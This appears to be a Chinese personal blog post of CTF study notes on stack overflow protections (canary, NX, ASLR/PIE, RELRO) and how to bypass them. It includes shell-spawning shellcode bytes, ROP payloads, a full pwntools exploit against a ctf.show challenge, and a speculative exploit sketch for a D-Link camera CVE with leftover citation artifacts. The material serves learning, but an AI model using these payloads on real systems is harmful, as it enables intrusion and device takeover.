YuuJ13rのhome
首页项目归档照片墙音乐灵境说说杂谈友链关于
封面

栈溢出防护与绕过技术

写作时间:2026-09-27 23:33:57

基本流程:栈溢出 ➜ 改变返回地址 ➜ 跳转到 gadget ➜ 拼出一条“利用链” ➜ 比如调用 system("/bin/sh")


Canary

原理

栈保护机制会在函数开始时在栈中插入一个特殊值(称为 canary)。当函数返回时,系统会验证此值是否被修改。如果 canary 被覆盖,程序会立即终止,防止攻击者执行恶意代码。

编译器相关选项

  • 启用保护:
  • -fstack-protector:仅为包含数组的函数插入保护。
  • -fstack-protector-all:为所有函数插入保护。
  • -fstack-protector-strong:保护范围介于以上两者之间。
  • 禁用保护:
  • -fno-stack-protector

绕过方法

1. 信息泄漏

通过程序漏洞泄漏 canary 值,从而伪造正确的溢出数据绕过校验。

 printf("Canary: %p\n", canary_value); // 漏洞点

2. 覆盖局部变量

栈保护仅针对返回地址。如果攻击目标是局部变量(如函数指针),则可以绕过 canary 检查。

 void vulnerable() {
     char buffer[100];
     void (*func_ptr)();
     gets(buffer); // 溢出覆盖 func_ptr,而不触及 canary
     func_ptr();
 }

NX/DEP(堆栈不可执行)

原理

NX(No eXecute)或 DEP(Data Execution Prevention)标记数据页为不可执行。当攻击者尝试执行栈中的 shellcode 时,程序会中断并抛出异常。

编译器相关选项

  • 关闭 NX:
  • -z execstack
  • 启用 NX:
  • -z noexecstack(默认)

绕过方法

  1. ROP(Return-Oriented Programming)

利用程序中现有的代码片段(称为 gadgets)拼接成一段可执行逻辑,无需直接执行 shellcode。

 0x400123: pop rdi; ret;
 0x400456: pop rsi; ret;
 0x400789: syscall;

2. JIT 攻击

利用动态语言生成的可执行代码(如 JavaScript 的 JIT 缓存),将恶意代码注入并执行。


ASLR/PIE(地址空间随机化)

原理

地址空间随机化(ASLR)和位置无关执行(PIE)通过随机化程序加载的内存地址,增加攻击者定位目标内存地址的难度。

配置选项

  • Linux 系统:

echo 2 > /proc/sys/kernel/randomize_va_space
GCC 编译:

  • 关闭:-no-pie
  • 启用:-pie(默认)

绕过方法

1. 信息泄漏

通过程序输出泄漏关键内存地址,从而计算其他区域的偏移量。

 printf("Stack address: %p\n", &buffer); // 漏洞点

2. 暴力猜测

在 32 位系统中,由于随机化范围较小,可以通过自动化脚本多次尝试猜测地址。

3.partial overwrite


RELRO(只读重定位表)

原理

RELRO 通过限制 Global Offset Table(GOT)的写权限或在程序启动时绑定所有动态符号,减少 GOT 表攻击的可能性。

  • **Partial RELRO:**部分保护, GOT从栈上转移到bss,但是仍然可写
  • Full RELRO: 完全保护,GOT 表所在字段为只读。

编译器选项

  • 关闭: -z norelro
  • 部分开启: -z lazy
  • 完全开启: -z now

绕过方法

  1. Partial RELRO

攻击者可以覆盖未绑定的符号地址,劫持 GOT 表。

 GOT["puts"] = 0xdeadbeef; // 覆盖 puts 函数地址
  1. ROP 结合 GOT 劫持

利用 ROP 技术修改程序控制流,从而间接实现攻击目标。


偏移的测量

https://blog.csdn.net/W13680336969/article/details/137030627?fromshare=blogdetail&sharetype=blogdetail&sharerId=137030627&sharerefer=PC&sharesource=Zgh20050812&sharefrom=from_link

‍

fmt

原理:‍

‍

用一个“参数里的指针”去读取栈内容(%n$s)

Linux x64 地址分布(必须背下来)

地址范围含义0x7fffffffe000 ~ 0x7fffffffffff栈 (stack)0x7ffff7xxxxxxlibc0x555555xxxxxxPIE 程序0x1 / 0x10 / 0xa31小整数 / 垃圾

不是所有栈指针都“好用”。

一个可利用的栈指针需要满足:

  1. 指向 稳定区域(不会被 printf 自己覆盖)
  2. 对齐(8 字节) 末尾是 0👉 这是天然可写地址
  3. 后续能用 %n 写
  4. 不会导致崩溃

例如:

 0x7fffffffe5a1  ← 非对齐
 0x7fffffffe5a0  ← 对齐
 0x7fffffffe5b0  ← 对齐

‍

pwntools工具:fmtstr_payload

fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写

‍

shellcode:

如果没开PIE可知直接在栈上写入shellcode执行

自动生成

 shellcode =asm(shellcraft.sh())

mmap

buf = mmap(0, 0x400u, 7, 34, 0, 0); :这行代码使用 mmap 函数分配一块内存区域,将其起

始地址保存在变量 buf 中。 mmap 函数通常用于在内存中分配一块连续的地址空间,并指定相应的权限

和属性。

这里buf用mmap映射了地址,可读可写可执行,直接传入shellcode,下面 ((void (*)(void))buf)();

调用了buf,运行shellcode 即可获取shell。

所以说有时候需要具体情况具体分析,东西并不是一成不变的。

常见shellcode:

32 位短字节 shellcode -> 21 字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

64 位 较短的 shellcode ->23 字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

https://www.exploit-db.com/shellcodes/43550 shellcode查找网站

‍

ROP

利用程序中现有的代码片段(称为 gadgets)拼接成一段可执行逻辑,无需直接执行 shellcode。

0x400123: pop rdi; ret;
0x400456: pop rsi; ret;
0x400789: syscall;

一般ROP泄露:

如write:

write_got=elf.got['write']
write_plt=elf.got['write']   #先获得write的got和plt地址
payload=b'a'*offset+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(size)  #构造payload执行write(fd,write_got,size)

**p32(0)+p32(write_got)+p32(size)**分别代表write的三个参数,注意第一个参数fd有两种状态:0、1,分别代表输入和输出,但是在远程调用时不会区分

puts同理,不同的是只要puts_got一个参数

拿到真实地址后就可以泄露libc基址然后得到任意地址:

libc=LibcSearcher('write',write)
libc_base=write-libc.dump['write']
system=libc_base+libc.dump['system']

‍

bss可写

先后调用read和execve,读入并执行'bin/sh'

pop_rax =0x000000000046b9f8
pop_rdi = 0x00000000004016c3
pop_rdx_rsi =0x00000000004377f9
bss = 0x00000000004040c0
ret = 0x000000000045bac5
payload =b "a"*offset
payload += p64(pop_rax)+p64(0x0)

#先后调用read和execve,读入并执行'bin/sh'
payload += p64(pop_rdx_rsi)+p64(0x10)+p64(bss)
payload += p64(pop_rdi)+p64(0)
payload += p64(ret)
payload += p64(pop_rax)+p64(0x3b)
payload += p64(pop_rdx_rsi)+p64(0)+p64(0)
payload += p64(pop_rdi)+p64(bss)
payload += p64(ret)

#gdb.attach(sh)
sh.sendline(payload)
sleep(1)
sh.sendline(b"/bin/sh\x00")
sh.interactive()

‍

系统调用

call system和syscall的区别:

call system是在libc中调用system函数,在其中会调用cpu指令syscall

fork();
execve("/bin/sh", ["sh", "-c", command], envp);
wait();

只需要rdi传参,会自动构造argv和envp,属于用户态。

syscall是内核级别调用,需要rdi,rsi,rdx传参

mov srgv[],0
mov envp[],0
mov rdi,59(0x3B)
syscall

‍

execve

**系统调用execve(filename,argv[ ],envp[ ]):**filename代表可执行文件的地址如‘bin/sh’的地址,argv[ ]是参数数组,没有特殊要求可以为0,envp是环境变量数组,可选项,一般为0

32位调用execve(/bin///sh\0)

push 0x68   ;68 00 00 00    h\0\0\0 
push 0x732f2f2f     ;2f 2f 2f 73    ///s
push 0x6e69622f     ;2f 62 69 6e    /bin
mov ebx,esp     ;将/bin///sh\0传入rbx作为调用参数
xor ebx,ebx     ;设为NULL
xor ecx,ecx     ;NULL
push 0xB    ;将execv的系统调用号(11)压入栈
pop eax     ;弹出到eax,作为系统掉用号
int 0x80    ;这行代码触发中断 0x80 ,这是Linux系统中用于执行系统调用的中断指令,执行execve('/bin///sh\0',NULL,NULL)

为什么压了三次栈的字符串能一次性全部mov到esp?

因为esp 指向的是字符串的“起始地址”,而不是只指向第一个 push 的内容

64位调用execve(/bin//sh)

push rax    ;此时rax一般为0x0
xor rdx, rdx    ;清零
xor rsi, rsi    ;清零
mov rbx,'/bin//sh'  ;/bin//sh转ASCII存储进rbx,2f 62 69 6e 2f 2f 73 68
push rbx    ;压入栈中,此时rsp-=8,[rsp]=2f 62 69 6e 2f 2f 73 68 
push rsp    ;rsp-=8,[rsp]=rsp+8(即上一个rsp的地址,指向binsh)
pop rdi     ;把栈顶的binsh的地址给rdi作为syscall的第一个参数
mov al, 59  ;59是x64中execve的调用号,存放在rax,al是rax的低8位,相比mov rax,59更短且不含\x00
┌────────────────────────────┐
│            RAX             │
└───────────────┬────────────┘
                │
              EAX (32位)
                │
        ┌───────┴───────┐
        │               │
      AX (16位)
        │
   ┌────┴────┐
   │         │
  AH        AL
 (8位)     (8位)
syscall     ;触发系统调用

/bin///sh 是 连续存放在栈上的一整段内存

为什么是 // 而不是 /?

  • /bin//sh 与 /bin/sh 路径等价
  • 但 /bin/sh 只有 7 字节
  • shellcode 里 不方便单独处理补零
  • 所以用双斜杠补齐 8 字节

‍

partial overwrite

高位地址代表程序或者数据所在页面,低位地址通常代表在该页面中的具体位置,ASLR通过随机化高位地址来防止攻击者猜测程序的加载位置,可以通过控制或者推测低位偏移来绕过

printf(''%s',buf)泄露

开启了随机化后无论高位地址怎么变化,低12位的页内偏移始终固定,更改低位偏移就能一定程度控制程序的执行流,从而绕过PIE

例题:2018安恒杯-babypie

因为read后从开始到\0才会截至,而read不会主动给结尾加上\0,所以可以通过覆盖栈上的值的最低位为非0,从而完成leak

如这道题的canary

__int64 sub_960()
{
  __int64 buf[6]; // [rsp+0h] [rbp-30h] BYREF

  buf[5] = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  memset(buf, 0, 32);
  puts("Welcome CTFshow:");
  read(0, buf, 0x30uLL);
  printf("Hello %s:\n", (const char *)buf);
  read(0, buf, 0x60uLL);
  return 0LL;
}

‍

-0000000000000030 ; D/A/*   : change type (data/ascii/array)
-0000000000000030 ; N       : rename
-0000000000000030 ; U       : undefine
-0000000000000030 ; Use data definition commands to create local variables and function arguments.
-0000000000000030 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000030 ; Frame size: 30; Saved regs: 8; Purge: 0
-0000000000000030 ;
-0000000000000030
-0000000000000030 buf dq ?
-0000000000000028 var_28 dq ?
-0000000000000020 var_20 dq ?
-0000000000000018 var_18 dq ?
-0000000000000010 db ? ; undefined
-000000000000000F db ? ; undefined
-000000000000000E db ? ; undefined
-000000000000000D db ? ; undefined
-000000000000000C db ? ; undefined
-000000000000000B db ? ; undefined
-000000000000000A db ? ; undefined
-0000000000000009 db ? ; undefined
-0000000000000008 var_8 dq ?
+0000000000000000  s db 8 dup(?)
+0000000000000008  r db 8 dup(?)
+0000000000000010
+0000000000000010 ; end of stack variables

canary距离buf为0x30-0x8=0x28个数据,所以第一次read读取0x30-0x8+1=0x29=41个数据就能正好覆盖canary的最低位为非零从而使得printf泄露出canary

from pwn import *
from LibcSearcher import *

#rem=True
ip='pwn.challenge.ctf.show'
p=28205

if(ip and p):
    p=remote(ip,p)
else:
    p=process('./pwn')

elf=ELF('./pwn')
pause()

payload=b'a'*(0x30-0x8+0x1)
p.sendlineafter('\n',payload)
#canary=u64(p.recv(8)) & (0xffffffffffffff00)   
#因为接收到的canary最低位变成了61,所以通过按位与把最低8位清零
p.recvuntil(b'a'*42)
canary=b'\0'+p.recv(7)    #也可以拼接'\0'和剩下的7位得到canary,后续构造payload不用p64转换
print('canary===>',u64(canary))
payload=b'a'*40+canary+b'aaaaaaaa'+b'\x3E\x0A'
#通过观察发现目标后门函数和返回地址只有低位8字节不同,所以只需要覆盖这8个字节为A3E就能执行
p.send(payload)

p.interactive()
0x000055dc43694a1e in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
──────────────────────────────────────────────────[ REGISTERS ]──────────────────────────────────────────────────
 RAX  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 RBX  0x0
 RCX  0x7f206c6696f0 (__write_nocancel+7) ◂— cmp    rax, -0xfff
 RDX  0x60
 RDI  0x0
 RSI  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 R8   0x7f206cb22700 ◂— 0x7f206cb22700
 R9   0x3e
 R10  0x73
 R11  0x246
 R12  0x55dc43694830 ◂— xor    ebp, ebp
 R13  0x7fff9aa3b050 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push   r15
 RSP  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
 RIP  0x55dc43694a1e ◂— call   0x55dc436947f0
───────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────
   0x55dc43694a08    call   0x55dc436947e0

   0x55dc43694a0d    lea    rax, [rbp - 0x30]
   0x55dc43694a11    mov    edx, 0x60
   0x55dc43694a16    mov    rsi, rax
   0x55dc43694a19    mov    edi, 0
 ► 0x55dc43694a1e    call   0x55dc436947f0

   0x55dc43694a23    mov    eax, 0
   0x55dc43694a28    mov    rcx, qword ptr [rbp - 8]
   0x55dc43694a2c    xor    rcx, qword ptr fs:[0x28]
   0x55dc43694a35    je     0x55dc43694a3c

   0x55dc43694a37    call   0x55dc436947c0
────────────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────────
00:0000│ rax rsi rsp  0x7fff9aa3af20 ◂— 0x6161616161616161 ('aaaaaaaa')
... ↓
05:0028│              0x7fff9aa3af48 ◂— 0xbfe0cfbabccd2861
06:0030│ rbp          0x7fff9aa3af50 —▸ 0x7fff9aa3af70 —▸ 0x55dc43694a80 ◂— push   r15
07:0038│              0x7fff9aa3af58 —▸ 0x55dc43694a6a ◂— mov    eax, 0
pwndbg> x/10i (0x0A3E+0x55dc43694000) 
   0x55dc43694a3e:  push   rbp
   0x55dc43694a3f:  mov    rbp,rsp
   0x55dc43694a42:  lea    rdi,[rip+0xd7]        # 0x55dc43694b20
   0x55dc43694a49:  call   0x55dc436947d0
   0x55dc43694a4e:  nop
   0x55dc43694a4f:  pop    rbp
   0x55dc43694a50:  ret    
   0x55dc43694a51:  push   rbp
   0x55dc43694a52:  mov    rbp,rsp
   0x55dc43694a55:  sub    rsp,0x10

通过观察发现返回地址和目标后门只有低8位不同,所以可以覆写低8bit为0x?A3E,就可能执行后门函数

‍
‍

栈溢出CVE分析

CVE-2024-48168 分析与详细描述

漏洞简介

CVE-2024-48168 是 D-Link DCS-960L 固件版本 1.09 中发现的一个 栈溢出漏洞,该漏洞存在于 HNAP 服务的 sub_402280 函数中。由于输入数据未经过适当的边界检查,攻击者可以通过精心构造的网络数据包触发溢出,从而执行任意代码,控制受害设备​:contentReference[oaicite:0]{index=0}​:contentReference[oaicite:1]{index=1}。


成因分析

问题函数与代码片段

漏洞的根本原因是函数 sub_402280 在处理用户输入时没有正确限制输入数据的大小。以下为可能的伪代码描述:

void sub_402280(char *input) {
    char buffer[256]; // 定义了一个 256 字节的栈缓冲区
    strcpy(buffer, input); // 未进行大小检查的直接复制
}

问题函数:strcpy 的使用未验证输入大小。
错误描述:当传入的 input 超过 256 字节时,会导致栈上的相邻内存区域被覆盖,包括函数返回地址或其他重要数据。
攻击链条详解
攻击步骤

信息收集:攻击者扫描网络,发现暴露的 D-Link DCS-960L 设备及其开放的 HNAP 服务端口。
构造攻击载荷:
构造一个超过 256 字节的输入数据,其中嵌入了攻击者的 shellcode。
在数据末尾覆盖函数返回地址,使其指向恶意 shellcode 的起始地址。
发送攻击载荷:
通过 HTTP 请求或其他网络接口,将恶意数据发送到目标设备的 HNAP 服务。
触发漏洞:
HNAP 服务调用 sub_402280,执行 strcpy 操作,导致栈溢出。
函数返回时,控制流被重定向到攻击者的 shellcode。
获得控制:
攻击者可在设备上执行任意代码,实现数据窃取、设备控制或网络扩展攻击。
攻击影响

控制设备:完全控制 D-Link 摄像头设备。
网络扩展:通过控制摄像头充当跳板攻击其他设备。
隐私泄露:访问和截取摄像头录制的视频和音频。
EXP 示例

import socket

def exploit(target_ip, target_port):
    # 构造超长溢出输入数据,含 NOP 滑块和 shellcode
    overflow_payload = b"\x90" * 200  # NOP 滑块
    overflow_payload += b"<shellcode>"  # 替换为实际的 shellcode
    overflow_payload += b"A" * (256 - len(overflow_payload))  # 填充
    overflow_payload += b"\xef\xbe\xad\xde"  # 覆盖返回地址

    # 创建网络连接并发送 payload
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((target_ip, target_port))
    s.send(overflow_payload)
    s.close()

修复建议
代码层面修复:
使用安全函数,如 strncpy 或 snprintf,确保不会超出缓冲区大小。
增加输入数据大小检查逻辑,丢弃超过预期长度的数据。
示例:
void sub_402280(char *input) {
char buffer[256];
strncpy(buffer, input, sizeof(buffer) - 1);
buffer[sizeof(buffer) - 1] = '\0'; // 确保字符串以 null 终止
}

‍

avatar

YuuJ13r

这个人很懒

RECOMMENDED

汇编基础

2026-09-27 03:57:54

Table of Contents